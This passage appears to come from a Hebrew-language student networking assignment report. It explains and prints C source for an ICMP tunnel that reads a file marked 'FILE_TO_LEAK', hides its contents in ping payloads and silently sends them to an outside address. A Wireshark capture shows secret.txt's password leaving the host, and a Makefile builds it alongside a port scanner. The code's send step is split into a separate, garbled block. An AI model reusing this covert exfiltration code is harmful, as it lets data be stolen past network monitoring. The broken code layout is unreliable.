הלולאה הקוראת את קובץ המקור במקטעים. עבור כל מקטע מידע, התוכנית יוצרת חבילת ICMP ECHO_REQUEST תקנית. הנתונים שנקראו מהקובץ מועתקים (Memcpy) אל תוך שדה ה-Payload של החבילה, מיד לאחר הכותרת. זהו המימוש המעשי של Tunneling - שימוש בפרוטוקול בקרה (ICMP) לצורך העברת מידע אפליקטיבי (תוכן הקובץ). עבור כל חבילה מחושב ה-Checksum מחדש כדי להבטיח את תקינותה הטכנית ברשת.

התוכנית משדרת את החבילות לכתובת היעד המוגדרת (1.2.3.4) באמצעות הפקודה sendto. התקשורת היא חד-כיוונית וללא חיבור. התוכנית אינה ממתינה לאישור קבלה או לתגובה מהיעד. כדי לווסת את קצב התעבורה ולמנוע עומס רגעי על הרשת, שולבה השהיה מינימלית (usleep) בין השידורים. בהתאם להנחיות המטלה, התוכנית אינה מדפיסה פלט למסך (stdout), ומסתיימת לאחר שידור כל תוכן הקובץ.

```
int main() {
    // 1. Open the file to leak
    FILE *fp = fopen(FILE_TO_LEAK, "r");
    if (fp == NULL) {
        // Silent exit if file doesn't exist, or print to stderr only
        return 1;
    }

    // 2. Create Raw Socket
    int sockfd = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
    if (sockfd < 0) {
        fclose(fp);
        return 1;
    }

    struct sockaddr_in dest_addr;
    memset(&dest_addr, 0, sizeof(dest_addr));
    dest_addr.sin_family = AF_INET;
    dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);

    char file_buffer[512]; // Chunk size
    char packet[PACKET_SIZE];
    int packet_count = 0;

    // 3. Read file loop
    while (fgets(file_buffer, sizeof(file_buffer), fp) != NULL) {
        memset(packet, 0, sizeof(packet));
        struct icmphdr *icmph = (struct icmphdr *)packet;

        // Fill ICMP Header (ECHO REQUEST)
        icmph->type = ICMP_ECHO;
        icmph->code = 0;
        icmph->un.echo.id = htons(getpid());
        icmph->un.echo.sequence = htons(packet_count++);
        icmph->checksum = 0;

        // Copy file content to payload
        char *payload = packet + sizeof(struct icmphdr);
        int payload_len = strlen(file_buffer);
        memcpy(payload, file_buffer, payload_len);

        // Calculate checksum
        int total_len = sizeof(struct icmphdr) + payload_len;
        icmph->checksum = checksum(packet, total_len);
    }
}
```

```

// 4. Send Packet
sendto(sockfd, packet, total_len, 0, (struct sockaddr *)&dest_addr, sizeof(dest_addr));

// Small delay to not choke the network (optional)
usleep(10000);
}

// Cleanup
fclose(fp);
close(sockfd);

// 5. No output to stdout ("background")
return 0;
}

```

פלט wireshark (קובץ tunnel_pcap בדיף) לאחר הרצה של ./tunnel.sudo. נסמן לפי יעד קו ופרוטוקול :ICMP

tunnel_pcap.pcap

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

ip.dst == 1.2.3.4 && icmp

No.	Time	Source	Destination	Protocol	Length	In
237	13.128851311	10.0.0.19	1.2.3.4	ICMP	70	E

Frame 237: 70 bytes on wire (560 bits), 70 bytes captured (560 bits) on interface
 Ethernet II, Src: PcsCompu_15:c7:6d (08:00:27:15:c7:6d), Dst: Sagemcom_9e:f4:b
 Internet Protocol Version 4, Src: 10.0.0.19, Dst: 1.2.3.4
 Internet Control Message Protocol

0000	b0 bb e5 9e f4 b7 08 00 27 15 c7 6d 08 00 45 00	'..m..E..
0010	00 38 06 60 40 00 40 01 26 4d 0a 00 00 13 01 02	..8.`@. @. &M.....
0020	03 04 08 00 cf 52 0e bf 00 00 54 68 69 73 20 69	R.. ..This i
0030	73 20 6d 79 20 73 65 63 72 65 74 20 70 61 73 73	s my sec ret pass
0040	77 6f 72 64 21 0a	word!..

tunnel_pcap.pcap Packets: 485 · Displayed: 1 (0.2%) Profile: Default

ip.dst == 1.2.3.4 && icmp

Protocol	Length	Info
ICMP	70	Echo (ping) request id=0x0ebf, seq=0/0, ttl=64 (no response ...

Frame 237: 70 bytes on wire (560 bits), 70 bytes captured (560 bits) on interface
 Ethernet II, Src: PcsCompu_15:c7:6d (08:00:27:15:c7:6d), Dst: Sagemcom_9e:f4:b
 Internet Protocol Version 4, Src: 10.0.0.19, Dst: 1.2.3.4
 Internet Control Message Protocol

```

0000  b0 bb e5 9e f4 b7 08 00 27 15 c7 6d 08 00 45 00  .....m..E.
0010  00 38 06 60 40 00 40 01 26 4d 0a 00 00 13 01 02  .8.`@.@. &M.....
0020  03 04 08 00 cf 52 0e bf 00 00 54 68 69 73 20 69  ....R...This i
0030  73 20 6d 79 20 73 65 63 72 65 74 20 70 61 73 73  s my sec ret pass
0040  77 6f 72 64 21 0a                                word!..
  
```

tunnle pcap.pcap Packets: 485 · Displayed: 1 (0.2%) Profile: Default

ניתן לראות שגודל ההודעה הוא 28 bytes:

Internet Control Message Protocol

- Type: 8 (Echo (ping) request)
- Code: 0
- Checksum: 0xcf52 [correct]
- [Checksum Status: Good]
- Identifier (BE): 3775 (0x0ebf)
- Identifier (LE): 48910 (0xbf0e)
- Sequence Number (BE): 0 (0x0000)
- Sequence Number (LE): 0 (0x0000)
- [No response seen]
- Data (28 bytes)

Data (28 bytes)

Data: 54686973206973206d79207365637265742070617373776f7264210a
 [Length: 28]

```

0000  b0 bb e5 9e f4 b7 08 00 27 15 c7 6d 08 00 45 00  .....m..E.
0010  00 38 06 60 40 00 40 01 26 4d 0a 00 00 13 01 02  .8.`@.@. &M.....
0020  03 04 08 00 cf 52 0e bf 00 00 54 68 69 73 20 69  ....R...This i
0030  73 20 6d 79 20 73 65 63 72 65 74 20 70 61 73 73  s my sec ret pass
0040  77 6f 72 64 21 0a                                word!..
  
```

ניתן לראות את תוכן הקובץ secret.txt

:makefile

נועד לאוטומציה יעילה של תהליך הבנייה (Build). הגדרתי בו יעד ראשי (all) המאפשר לקמפל את כל חמשת התוכניות בפרויקט בפקודה אחת פשוטה (make). הקובץ מפריד בין שלבי הקומפילציה לקישור (Linking), כולל הוספת דגל -lm לחיבור הספרייה המתמטית ב-ping, ומכיל פקודת clean לניקוי קבצים זמניים ובינאריים לפני ההגשה.

```
all: ping traceroute port_scanning discovery tunnel

ping: ping.o
| gcc ping.o -o ping -lm

ping.o: ping.c
| gcc -c ping.c -o ping.o

traceroute: traceroute.o
| gcc traceroute.o -o traceroute

traceroute.o: traceroute.c
| gcc -c traceroute.c -o traceroute.o

port_scanning: port_scanning.o
| gcc port_scanning.o -o port_scanning

port_scanning.o: port_scanning.c
| gcc -c port_scanning.c -o port_scanning.o

discovery: discovery.o
| gcc discovery.o -o discovery

discovery.o: discovery.c
| gcc -c discovery.c -o discovery.o

tunnel: tunnel.o
| gcc tunnel.o -o tunnel

tunnel.o: tunnel.c
| gcc -c tunnel.c -o tunnel.o

clean:
| rm -f *.o ping traceroute port_scanning discovery tunnel
```